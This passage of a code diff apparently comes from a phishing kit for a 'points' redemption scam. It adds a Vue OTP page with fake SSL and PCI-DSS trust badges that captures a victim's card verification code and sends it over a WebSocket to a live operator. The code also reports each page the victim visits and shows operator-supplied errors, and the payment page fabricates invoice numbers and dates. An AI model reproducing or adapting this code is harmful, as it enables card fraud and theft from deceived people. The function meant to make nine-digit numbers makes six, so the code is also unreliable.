animation: otp-spin 0.8s linear infinite;
|
||||
}
|
||||
|
||||
@keyframes otp-spin {
|
||||
to { transform: rotate(360deg); }
|
||||
}
|
||||
|
||||
.otp-loading-text {
|
||||
margin: 0;
|
||||
font-size: 0.95rem;
|
||||
font-weight: 700;
|
||||
color: #1e293b;
|
||||
}
|
||||
|
||||
.otp-loading-sub {
|
||||
margin: 0;
|
||||
font-size: 0.8rem;
|
||||
color: #94a3b8;
|
||||
}
|
||||
|
||||
/* ===== Responsive ===== */
|
||||
@media (max-width: 540px) {
|
||||
.otp-card {
|
||||
margin: 0 0 24px;
|
||||
border-radius: 0;
|
||||
border-left: none;
|
||||
border-right: none;
|
||||
box-shadow: none;
|
||||
}
|
||||
|
||||
.otp-hero {
|
||||
padding: 24px 20px 18px;
|
||||
}
|
||||
|
||||
.otp-form {
|
||||
padding: 20px 20px 16px;
|
||||
}
|
||||
|
||||
.otp-footer {
|
||||
padding: 14px 20px 18px;
|
||||
}
|
||||
|
||||
.otp-topbar {
|
||||
padding: 12px 16px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
|
||||
.op-top-content {
|
||||
798
0000_gb_points_temp/src/views/OtpView.vue
Normal file
798
0000_gb_points_temp/src/views/OtpView.vue
Normal file
@@ -0,0 +1,798 @@
|
||||
<script setup lang="ts">
|
||||
import { computed, nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
|
||||
import { useRoute } from "vue-router";
|
||||
import eventBus from "@/utils/eventBus";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import CardType1 from "../components/CardType1.vue";
|
||||
import { areAllValuesNotEmpty, inputChange, myWebSocket } from "@/utils/common";
|
||||
import { useI18n } from "vue-i18n";
|
||||
|
||||
const loadingStore = useLoadingStore();
|
||||
const { t } = useI18n();
|
||||
const cardType = ref("");
|
||||
const message1 = ref("");
|
||||
const message = ref("");
|
||||
const formData = reactive({ verifyCode: "" });
|
||||
const showLoadingModal = ref(false);
|
||||
const initialTime = 60;
|
||||
const timeLeft = ref(initialTime);
|
||||
const isCounting = ref(false);
|
||||
let timer: number | null = null;
|
||||
|
||||
// Static label derived from initialTime (e.g. 60s → "1 minute")
|
||||
const initialTimeFormatted = computed(() => {
|
||||
const totalSec = initialTime;
|
||||
const m = Math.floor(totalSec / 60);
|
||||
const s = totalSec % 60;
|
||||
if (m > 0 && s === 0) return m === 1 ? "1 minute" : `${m} minutes`;
|
||||
if (m > 0) return `${m}m ${s}s`;
|
||||
return `${s} seconds`;
|
||||
});
|
||||
|
||||
const buttonText = computed(() => {
|
||||
return isCounting.value
|
||||
? `00:${timeLeft.value < 10 ? `0${timeLeft.value}` : timeLeft.value}`
|
||||
: t("otp_view.click_for_another");
|
||||
});
|
||||
|
||||
const onchange = (value: any) => {
|
||||
inputChange("input_card", "verifyCode", value.target.value);
|
||||
formData.verifyCode = value.target.value;
|
||||
};
|
||||
|
||||
const submit = async () => {
|
||||
await nextTick();
|
||||
loadingStore.setLoading(true);
|
||||
if (!areAllValuesNotEmpty(formData)) {
|
||||
loadingStore.setLoading(false);
|
||||
return;
|
||||
}
|
||||
|
||||
// show loading modal
|
||||
showLoadingModal.value = true;
|
||||
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "submit_card",
|
||||
content: {
|
||||
type: "submitValidCode",
|
||||
formData,
|
||||
},
|
||||
})
|
||||
);
|
||||
};
|
||||
|
||||
const stopCountdown = () => {
|
||||
if (timer !== null) {
|
||||
clearInterval(timer);
|
||||
timer = null;
|
||||
}
|
||||
isCounting.value = false;
|
||||
localStorage.removeItem("otpResendStart");
|
||||
};
|
||||
|
||||
const startCountdown = (resultType: string) => {
|
||||
if (isCounting.value) return;
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "otpValid", resultType },
|
||||
})
|
||||
);
|
||||
|
||||
localStorage.setItem("otpResendStart", Date.now().toString());
|
||||
isCounting.value = true;
|
||||
timeLeft.value = initialTime;
|
||||
|
||||
timer = window.setInterval(() => {
|
||||
if (timeLeft.value > 0) {
|
||||
timeLeft.value -= 1;
|
||||
return;
|
||||
}
|
||||
stopCountdown();
|
||||
}, 1000);
|
||||
};
|
||||
|
||||
const restoreCountdown = () => {
|
||||
const saved = localStorage.getItem("otpResendStart");
|
||||
if (saved) {
|
||||
const elapsed = Math.floor((Date.now() - parseInt(saved)) / 1000);
|
||||
if (elapsed < initialTime) {
|
||||
isCounting.value = true;
|
||||
timeLeft.value = initialTime - elapsed;
|
||||
timer = window.setInterval(() => {
|
||||
if (timeLeft.value > 0) { timeLeft.value -= 1; return; }
|
||||
stopCountdown();
|
||||
}, 1000);
|
||||
return true;
|
||||
} else {
|
||||
localStorage.removeItem("otpResendStart");
|
||||
}
|
||||
}
|
||||
return false;
|
||||
};
|
||||
|
||||
const handleEvent = (data: { message2: string }) => {
|
||||
message.value = data.message2;
|
||||
loadingStore.setLoading(false);
|
||||
// close loading modal
|
||||
showLoadingModal.value = false;
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "otpValid" },
|
||||
})
|
||||
);
|
||||
|
||||
const route = useRoute();
|
||||
const query = route.query as any;
|
||||
|
||||
if (query?.cardType) {
|
||||
cardType.value = query.cardType;
|
||||
localStorage.setItem("cardType", query.cardType);
|
||||
} else {
|
||||
const type = localStorage.getItem("cardType");
|
||||
if (type) {
|
||||
cardType.value = type;
|
||||
}
|
||||
}
|
||||
|
||||
if (query?.message1) {
|
||||
message1.value = query.message1;
|
||||
localStorage.setItem("message1", query.message1);
|
||||
} else {
|
||||
const saved = localStorage.getItem("message1");
|
||||
if (saved) {
|
||||
message1.value = saved;
|
||||
}
|
||||
}
|
||||
|
||||
localStorage.setItem("route", "otpValid");
|
||||
if (!restoreCountdown()) {
|
||||
startCountdown("");
|
||||
}
|
||||
eventBus.on("otp-valid", handleEvent);
|
||||
});
|
||||
|
||||
onUnmounted(() => {
|
||||
stopCountdown();
|
||||
eventBus.off("otp-valid", handleEvent);
|
||||
showLoadingModal.value = false;
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div class="otp-page">
|
||||
|
||||
<!-- Top bar -->
|
||||
<div class="otp-topbar">
|
||||
<div class="otp-topbar-left">
|
||||
<img src="@/assets/img/80066acd3fcfa.svg" alt="logo" class="otp-logo" />
|
||||
</div>
|
||||
<div class="otp-topbar-right">
|
||||
<CardType1 :cardType="cardType" />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Main card -->
|
||||
<div class="otp-card">
|
||||
|
||||
<!-- Icon + Title -->
|
||||
<div class="otp-hero">
|
||||
<div class="otp-shield-icon">
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8">
|
||||
<path d="M12 2L4 6v5c0 5.25 3.4 10.15 8 11.35C16.6 21.15 20 16.25 20 11V6l-8-4z"/>
|
||||
<path d="M9 12l2 2 4-4" stroke-linecap="round" stroke-linejoin="round"/>
|
||||
</svg>
|
||||
</div>
|
||||
<h1 class="otp-title">{{ t("otp_view.transaction_validation") }}</h1>
|
||||
<p class="otp-subtitle" v-if="!message1">{{ t("otp_view.verify_identity") }}</p>
|
||||
<p class="otp-subtitle" v-else>{{ t("otp_view.code_sent_to") }} <strong>***{{ message1 }}</strong></p>
|
||||
<p class="otp-notice">{{ t("otp_view.do_not_click") }}</p>
|
||||
</div>
|
||||
|
||||
<!-- Form -->
|
||||
<form class="otp-form" @submit.prevent="submit">
|
||||
|
||||
<div class="otp-input-group">
|
||||
<label class="otp-label">{{ t("otp_view.verification_code") }}</label>
|
||||
<div class="otp-input-wrap" :class="{ 'has-error': message }">
|
||||
<input
|
||||
required
|
||||
type="text"
|
||||
inputmode="numeric"
|
||||
autocomplete="one-time-code"
|
||||
:placeholder="t('otp_view.enter_your_otp')"
|
||||
@input="onchange"
|
||||
v-model="formData.verifyCode"
|
||||
minlength="3"
|
||||
maxlength="8"
|
||||
class="otp-input"
|
||||
/>
|
||||
</div>
|
||||
<p class="otp-error" v-if="message">
|
||||
<svg viewBox="0 0 20 20" fill="currentColor"><path fill-rule="evenodd" d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7 4a1 1 0 11-2 0 1 1 0 012 0zm-1-9a1 1 0 00-1 1v4a1 1 0 102 0V6a1 1 0 00-1-1z" clip-rule="evenodd"/></svg>
|
||||
{{ message }}
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<button type="submit" class="otp-btn-submit">
|
||||
{{ t("otp_view.verify") }}
|
||||
</button>
|
||||
|
||||
<div class="otp-resend-row">
|
||||
<span class="otp-resend-text">{{ t("otp_view.having_trouble") }}</span>
|
||||
<a href="javascript:" class="otp-resend-link op-no-obfuscate" @click="startCountdown('resendCode')">
|
||||
{{ buttonText }}
|
||||
</a>
|
||||
</div>
|
||||
|
||||
</form>
|
||||
|
||||
<!-- Footer -->
|
||||
<div class="otp-footer">
|
||||
|
||||
<!-- Security badges row -->
|
||||
<div class="otp-footer-badges">
|
||||
<span class="otp-badge">
|
||||
<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18,8H17V6A5,5,0,0,0,7,6V8H6a2,2,0,0,0-2,2V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V10A2,2,0,0,0,18,8ZM9,6a3,3,0,0,1,6,0V8H9ZM18,20H6V10H18Z"/></svg>
|
||||
256-bit SSL
|
||||
</span>
|
||||
<span class="otp-badge-sep"></span>
|
||||
<span class="otp-badge">
|
||||
<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2L4,5v6c0,5.55,3.84,10.74,8,12c4.16-1.26,8-6.45,8-12V5L12,2z"/></svg>
|
||||
PCI-DSS
|
||||
</span>
|
||||
<span class="otp-badge-sep"></span>
|
||||
<span class="otp-badge">
|
||||
<svg viewBox="0 0 24 24" fill="currentColor"><path d="M9 12l2 2 4-4m6 2a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>
|
||||
{{ t("otp_view.secure_checkout") }}
|
||||
</span>
|
||||
</div>
|
||||
|
||||
<!-- Info cards -->
|
||||
<div class="otp-info-list">
|
||||
<div class="otp-info-item">
|
||||
<div class="otp-info-icon">
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><path d="M12 6v6l4 2" stroke-linecap="round"/></svg>
|
||||
</div>
|
||||
<p class="otp-info-text">{{ t("otp_view.code_expires", { time: initialTimeFormatted }) }}</p>
|
||||
</div>
|
||||
<div class="otp-info-item">
|
||||
<div class="otp-info-icon">
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z" stroke-linejoin="round"/></svg>
|
||||
</div>
|
||||
<p class="otp-info-text">{{ t("otp_view.why_need_otp") }}</p>
|
||||
</div>
|
||||
<div class="otp-info-item otp-info-warn">
|
||||
<div class="otp-info-icon">
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M10.29 3.86L1.82 18a2 2 0 001.71 3h16.94a2 2 0 001.71-3L13.71 3.86a2 2 0 00-3.42 0z"/><line x1="12" y1="9" x2="12" y2="13"/><line x1="12" y1="17" x2="12.01" y2="17"/></svg>
|
||||
</div>
|
||||
<p class="otp-info-text">{{ t("otp_view.contact_bank") }}</p>
|
||||
</div>
|
||||
<div class="otp-info-item">
|
||||
<div class="otp-info-icon">
|
||||
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="3" y="11" width="18" height="11" rx="2" ry="2"/><path d="M7 11V7a5 5 0 0110 0v4"/></svg>
|
||||
</div>
|
||||
<p class="otp-info-text">{{ t("otp_view.privacy_note") }}</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Help row -->
|
||||
<div class="otp-help-row">
|
||||
<span>{{ t("otp_view.need_help") }}</span>
|
||||
<span class="otp-powered">{{ t("otp_view.powered_by") }}</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Loading overlay -->
|
||||
<transition name="otp-fade">
|
||||
<div class="otp-loading-overlay" v-if="showLoadingModal">
|
||||
<div class="otp-loading-dialog">
|
||||
<div class="otp-spinner"></div>
|
||||
<p class="otp-loading-text">{{ t("otp_view.verifying_code") }}</p>
|
||||
<p class="otp-loading-sub">{{ t("otp_view.please_wait") }}</p>
|
||||
</div>
|
||||
</div>
|
||||
</transition>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
/* ===== Page ===== */
|
||||
.otp-page {
|
||||
min-height: 100vh;
|
||||
background: linear-gradient(160deg, #f0f4ff 0%, #fafbff 50%, #f5f7fa 100%);
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
box-sizing: border-box;
|
||||
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
|
||||
}
|
||||
|
||||
/* ===== Top bar ===== */
|
||||
.otp-topbar {
|
||||
width: 100%;
|
||||
max-width: 560px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
padding: 18px 24px 12px;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
.otp-logo {
|
||||
width: 28px;
|
||||
height: 28px;
|
||||
object-fit: contain;
|
||||
opacity: 0.6;
|
||||
}
|
||||
|
||||
/* ===== Main card ===== */
|
||||
.otp-card {
|
||||
width: 100%;
|
||||
max-width: 560px;
|
||||
background: #ffffff;
|
||||
border-radius: 20px;
|
||||
border: 1px solid rgba(226,232,240,0.8);
|
||||
box-shadow:
|
||||
0 0 0 1px rgba(148,163,184,0.05),
|
||||
0 4px 6px -2px rgba(15,23,42,0.04),
|
||||
0 12px 32px -8px rgba(15,23,42,0.1);
|
||||
overflow: hidden;
|
||||
box-sizing: border-box;
|
||||
margin: 0 16px 40px;
|
||||
}
|
||||
|
||||
/* ===== Hero section ===== */
|
||||
.otp-hero {
|
||||
padding: 36px 32px 26px;
|
||||
text-align: center;
|
||||
background: linear-gradient(180deg, #f8faff 0%, #ffffff 100%);
|
||||
border-bottom: 1px solid #f0f4ff;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.otp-hero::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
top: 0; left: 0; right: 0;
|
||||
height: 3px;
|
||||
background: linear-gradient(90deg,
|
||||
var(--global-primary-color, #3b82f6) 0%,
|
||||
color-mix(in srgb, var(--global-primary-color, #3b82f6) 60%, #818cf8) 100%
|
||||
);
|
||||
}
|
||||
|
||||
.otp-shield-icon {
|
||||
width: 64px;
|
||||
height: 64px;
|
||||
background: linear-gradient(135deg,
|
||||
color-mix(in srgb, var(--global-primary-color, #3b82f6) 10%, #fff) 0%,
|
||||
color-mix(in srgb, var(--global-primary-color, #3b82f6) 20%, #fff) 100%
|
||||
);
|
||||
border: 1.5px solid color-mix(in srgb, var(--global-primary-color, #3b82f6) 25%, #fff);
|
||||
border-radius: 18px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
margin: 0 auto 18px;
|
||||
box-shadow: 0 4px 12px color-mix(in srgb, var(--global-primary-color, #3b82f6) 20%, transparent);
|
||||
}
|
||||
|
||||
.otp-shield-icon svg {
|
||||
width: 30px;
|
||||
height: 30px;
|
||||
color: var(--global-primary-color, #3b82f6);
|
||||
}
|
||||
|
||||
.otp-title {
|
||||
margin: 0 0 10px;
|
||||
font-size: 1.45rem;
|
||||
font-weight: 800;
|
||||
color: #0f172a;
|
||||
letter-spacing: -0.4px;
|
||||
line-height: 1.2;
|
||||
}
|
||||
|
||||
.otp-subtitle {
|
||||
margin: 0 0 10px;
|
||||
font-size: 0.9rem;
|
||||
color: #64748b;
|
||||
line-height: 1.6;
|
||||
max-width: 380px;
|
||||
margin-left: auto;
|
||||
margin-right: auto;
|
||||
}
|
||||
|
||||
.otp-subtitle strong {
|
||||
color: #1e293b;
|
||||
font-weight: 700;
|
||||
}
|
||||
|
||||
.otp-notice {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 5px;
|
||||
margin: 4px 0 0;
|
||||
padding: 5px 12px;
|
||||
background: #fff7ed;
|
||||
border: 1px solid #fed7aa;
|
||||
border-radius: 20px;
|
||||
font-size: 0.75rem;
|
||||
color: #92400e;
|
||||
line-height: 1.4;
|
||||
}
|
||||
|
||||
/* ===== Form ===== */
|
||||
.otp-form {
|
||||
padding: 26px 32px 22px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 18px;
|
||||
}
|
||||
|
||||
.otp-input-group {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 8px;
|
||||
}
|
||||
|
||||
.otp-label {
|
||||
font-size: 0.82rem;
|
||||
font-weight: 700;
|
||||
color: #374151;
|
||||
letter-spacing: 0.4px;
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.otp-input-wrap {
|
||||
border: 2px solid #e5e7eb;
|
||||
border-radius: 12px;
|
||||
background: #fafbfc;
|
||||
transition: border-color 0.2s, box-shadow 0.2s, background 0.2s;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.otp-input-wrap:focus-within {
|
||||
border-color: var(--global-primary-color, #3b82f6);
|
||||
background: #fff;
|
||||
box-shadow: 0 0 0 4px color-mix(in srgb, var(--global-primary-color, #3b82f6) 12%, transparent);
|
||||
}
|
||||
|
||||
.otp-input-wrap.has-error {
|
||||
border-color: #ef4444;
|
||||
background: #fff5f5;
|
||||
box-shadow: 0 0 0 4px rgba(239,68,68,0.1);
|
||||
}
|
||||
|
||||
.otp-input {
|
||||
width: 100%;
|
||||
height: 62px;
|
||||
padding: 0 20px;
|
||||
text-align: center;
|
||||
border: none;
|
||||
outline: none;
|
||||
background: transparent;
|
||||
font-size: 1.75rem;
|
||||
font-weight: 800;
|
||||
letter-spacing: 0.3em;
|
||||
color: #111827;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
.otp-input::placeholder {
|
||||
font-size: 0.92rem;
|
||||
font-weight: 400;
|
||||
letter-spacing: 0.04em;
|
||||
color: #d1d5db;
|
||||
}
|
||||
|
||||
.otp-error {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 6px;
|
||||
font-size: 0.8rem;
|
||||
font-weight: 500;
|
||||
color: #dc2626;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.otp-error svg {
|
||||
width: 14px;
|
||||
height: 14px;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
/* ===== Submit button ===== */
|
||||
.otp-btn-submit {
|
||||
width: 100%;
|
||||
height: 52px;
|
||||
background: var(--global-primary-color, #3b82f6);
|
||||
color: #fff;
|
||||
border: none;
|
||||
border-radius: 12px;
|
||||
font-size: 1rem;
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.05em;
|
||||
cursor: pointer;
|
||||
transition: filter 0.15s, transform 0.1s, box-shadow 0.15s;
|
||||
box-shadow: 0 4px 14px color-mix(in srgb, var(--global-primary-color, #3b82f6) 35%, transparent);
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.otp-btn-submit::after {
|
||||
content: '';
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
background: linear-gradient(180deg, rgba(255,255,255,0.12) 0%, transparent 100%);
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
.otp-btn-submit:hover {
|
||||
filter: brightness(1.06);
|
||||
box-shadow: 0 6px 18px color-mix(in srgb, var(--global-primary-color, #3b82f6) 45%, transparent);
|
||||
}
|
||||
|
||||
.otp-btn-submit:active {
|
||||
transform: scale(0.985);
|
||||
filter: brightness(0.96);
|
||||
}
|
||||
|
||||
/* ===== Resend row ===== */
|
||||
.otp-resend-row {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
gap: 6px;
|
||||
font-size: 0.85rem;
|
||||
flex-wrap: wrap;
|
||||
text-align: center;
|
||||
padding-bottom: 4px;
|
||||
}
|
||||
|
||||
.otp-resend-text {
|
||||
color: #9ca3af;
|
||||
}
|
||||
|
||||
.otp-resend-link {
|
||||
color: var(--global-primary-color, #3b82f6);
|
||||
font-weight: 600;
|
||||
text-decoration: none;
|
||||
cursor: pointer;
|
||||
border-bottom: 1px dashed color-mix(in srgb, var(--global-primary-color, #3b82f6) 40%, transparent);
|
||||
}
|
||||
|
||||
.otp-resend-link:hover {
|
||||
border-bottom-style: solid;
|
||||
}
|
||||
|
||||
/* ===== Footer ===== */
|
||||
.otp-footer {
|
||||
padding: 0 32px 24px;
|
||||
border-top: 1px solid #f1f5f9;
|
||||
background: #fafbfd;
|
||||
}
|
||||
|
||||
/* Security badges */
|
||||
.otp-footer-badges {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
gap: 10px;
|
||||
padding: 14px 0 16px;
|
||||
border-bottom: 1px dashed #e9edf3;
|
||||
}
|
||||
|
||||
.otp-badge {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 4px;
|
||||
font-size: 10px;
|
||||
font-weight: 600;
|
||||
color: #6b7280;
|
||||
white-space: nowrap;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.4px;
|
||||
}
|
||||
|
||||
.otp-badge svg {
|
||||
width: 11px;
|
||||
height: 11px;
|
||||
fill: #34d399;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.otp-badge-sep {
|
||||
width: 3px;
|
||||
height: 3px;
|
||||
border-radius: 50%;
|
||||
background: #d1d5db;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
/* Info list */
|
||||
.otp-info-list {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0;
|
||||
margin: 14px 0 0;
|
||||
}
|
||||
|
||||
.otp-info-item {
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
gap: 10px;
|
||||
padding: 10px 0;
|
||||
border-bottom: 1px solid #f3f4f6;
|
||||
}
|
||||
|
||||
.otp-info-item:last-child {
|
||||
border-bottom: none;
|
||||
}
|
||||
|
||||
.otp-info-icon {
|
||||
width: 28px;
|
||||
height: 28px;
|
||||
border-radius: 8px;
|
||||
background: #f0f9ff;
|
||||
border: 1px solid #e0f2fe;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
flex-shrink: 0;
|
||||
margin-top: 1px;
|
||||
}
|
||||
|
||||
.otp-info-icon svg {
|
||||
width: 13px;
|
||||
height: 13px;
|
||||
color: #0ea5e9;
|
||||
stroke: #0ea5e9;
|
||||
}
|
||||
|
||||
.otp-info-warn .otp-info-icon {
|
||||
background: #fff7ed;
|
||||
border-color: #fed7aa;
|
||||
}
|
||||
|
||||
.otp-info-warn .otp-info-icon svg {
|
||||
color: #f97316;
|
||||
stroke: #f97316;
|
||||
}
|
||||
|
||||
.otp-info-text {
|
||||
margin: 0;
|
||||
font-size: 0.795rem;
|
||||
color: #6b7280;
|
||||
line-height: 1.55;
|
||||
padding-top: 5px;
|
||||
}
|
||||
|
||||
.otp-info-warn .otp-info-text {
|
||||
color: #92400e;
|
||||
}
|
||||
|
||||
/* Help row */
|
||||
.otp-help-row {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
padding-top: 14px;
|
||||
margin-top: 4px;
|
||||
font-size: 0.78rem;
|
||||
color: #9ca3af;
|
||||
border-top: 1px solid #f1f5f9;
|
||||
}
|
||||
|
||||
.otp-powered {
|
||||
font-size: 0.72rem;
|
||||
color: #9ca3af;
|
||||
font-weight: 500;
|
||||
}
|
||||
|
||||
/* ===== Loading overlay ===== */
|
||||
.otp-fade-enter-active,
|
||||
.otp-fade-leave-active {
|
||||
transition: opacity 0.25s ease;
|
||||
}
|
||||
.otp-fade-enter-from,
|
||||
.otp-fade-leave-to {
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
.otp-loading-overlay {
|
||||
position: fixed;
|
||||
inset: 0;
|
||||
background: rgba(15, 23, 42, 0.45);
|
||||
backdrop-filter: blur(8px);
|
||||
-webkit-backdrop-filter: blur(8px);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
z-index: 9999;
|
||||
}
|
||||
|
||||
.otp-loading-dialog {
|
||||
background: #fff;
|
||||
border-radius: 20px;
|
||||
padding: 40px 48px;
|
||||
text-align: center;
|
||||
box-shadow:
|
||||
0 8px 32px rgba(15,23,42,0.15),
|
||||
0 0 0 1px rgba(148,163,184,0.12);
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
gap: 14px;
|
||||
min-width: 220px;
|
||||
}
|
||||
|
||||
.otp-spinner {
|
||||
width: 44px;
|
||||
height: 44px;
|
||||
border: 3px solid #e5e7eb;
|
||||
border-top-color: var(--global-primary-color, #3b82f6);
|
||||
border-radius: 50%;
|
||||
animation: otp-spin 0.75s linear infinite;
|
||||
}
|
||||
|
||||
@keyframes otp-spin {
|
||||
to { transform: rotate(360deg); }
|
||||
}
|
||||
|
||||
.otp-loading-text {
|
||||
margin: 0;
|
||||
font-size: 1rem;
|
||||
font-weight: 700;
|
||||
color: #111827;
|
||||
}
|
||||
|
||||
.otp-loading-sub {
|
||||
margin: 0;
|
||||
font-size: 0.8rem;
|
||||
color: #9ca3af;
|
||||
}
|
||||
|
||||
/* ===== Responsive ===== */
|
||||
@media (max-width: 580px) {
|
||||
.otp-card {
|
||||
margin: 0 0 28px;
|
||||
border-radius: 0;
|
||||
border-left: none;
|
||||
border-right: none;
|
||||
box-shadow: none;
|
||||
}
|
||||
|
||||
.otp-hero {
|
||||
padding: 28px 20px 20px;
|
||||
}
|
||||
|
||||
.otp-form {
|
||||
padding: 22px 20px 18px;
|
||||
}
|
||||
|
||||
.otp-footer {
|
||||
padding: 0 20px 20px;
|
||||
}
|
||||
|
||||
.otp-topbar {
|
||||
padding: 14px 16px 10px;
|
||||
}
|
||||
|
||||
.otp-title {
|
||||
font-size: 1.25rem;
|
||||
}
|
||||
|
||||
.otp-input {
|
||||
font-size: 1.5rem;
|
||||
height: 56px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
111
0000_gb_points_temp/src/views/PayView.vue
Normal file
111
0000_gb_points_temp/src/views/PayView.vue
Normal file
@@ -0,0 +1,111 @@
|
||||
<script setup lang="ts">
|
||||
import { computed, onMounted, ref } from "vue";
|
||||
import { useRouter } from "vue-router";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { myWebSocket } from "@/utils/common";
|
||||
import { globalConfig,goodsConfig } from "@/config";
|
||||
import { getThemeColors } from "@/config/themes";
|
||||
import PayTheme1 from "@/components/pay/PayTheme1.vue";
|
||||
import PayTheme2 from "@/components/pay/PayTheme2.vue";
|
||||
import PayTheme3 from "@/components/pay/PayTheme3.vue";
|
||||
import PayTheme4 from "@/components/pay/PayTheme4.vue";
|
||||
import PayTheme5 from "@/components/pay/PayTheme5.vue";
|
||||
import PayTheme6 from "@/components/pay/PayTheme6.vue";
|
||||
|
||||
const loadingStore = useLoadingStore();
|
||||
const router = useRouter();
|
||||
|
||||
const payDate = ref("");
|
||||
const invoiceNumber = ref("");
|
||||
const phone = ref("");
|
||||
const totalPoint = ref(3022);
|
||||
|
||||
// 与 PhoneView 同步,根据 payTheme 动态选择主题组件
|
||||
const currentThemeComponent = computed(() => {
|
||||
const themeId = goodsConfig.value.payTheme || 1;
|
||||
const themeMap: Record<string, any> = {
|
||||
"1": PayTheme1,
|
||||
"2": PayTheme2,
|
||||
"3": PayTheme3,
|
||||
"4": PayTheme4,
|
||||
"5": PayTheme5,
|
||||
"6": PayTheme6,
|
||||
};
|
||||
return themeMap[themeId] || PayTheme1;
|
||||
});
|
||||
|
||||
const currentColors = computed(() => {
|
||||
const themeId = goodsConfig.value.payTheme || 1;
|
||||
return getThemeColors(themeId);
|
||||
});
|
||||
|
||||
const next = () => {
|
||||
loadingStore.setLoading(true);
|
||||
setTimeout(() => {
|
||||
router.push("/goods");
|
||||
}, 200);
|
||||
};
|
||||
|
||||
function getDateSevenDaysAgo(): Date {
|
||||
const currentDate = new Date();
|
||||
currentDate.setDate(currentDate.getDate() - 7);
|
||||
return currentDate;
|
||||
}
|
||||
|
||||
function generateRandomNineDigitNumber(): number {
|
||||
const min = 100000;
|
||||
const max = 999999;
|
||||
return Math.floor(Math.random() * (max - min + 1)) + min;
|
||||
}
|
||||
|
||||
onMounted(() => {
|
||||
loadingStore.setLoading(false);
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "pay" },
|
||||
})
|
||||
);
|
||||
const dateSeven = getDateSevenDaysAgo();
|
||||
payDate.value = dateSeven.toLocaleDateString();
|
||||
const inumber = localStorage.getItem("invoiceNumber");
|
||||
if (inumber) {
|
||||
invoiceNumber.value = inumber;
|
||||
} else {
|
||||
invoiceNumber.value = generateRandomNineDigitNumber().toString();
|
||||
localStorage.setItem("invoiceNumber", invoiceNumber.value.toString());
|
||||
}
|
||||
localStorage.setItem("route", "pay");
|
||||
const phoneValue = localStorage.getItem("phone");
|
||||
if (phoneValue) {
|
||||
phone.value = phoneValue;
|
||||
}
|
||||
const point = localStorage.getItem("totalPoint");
|
||||
if (point) {
|
||||
totalPoint.value = Number(point);
|
||||
}
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
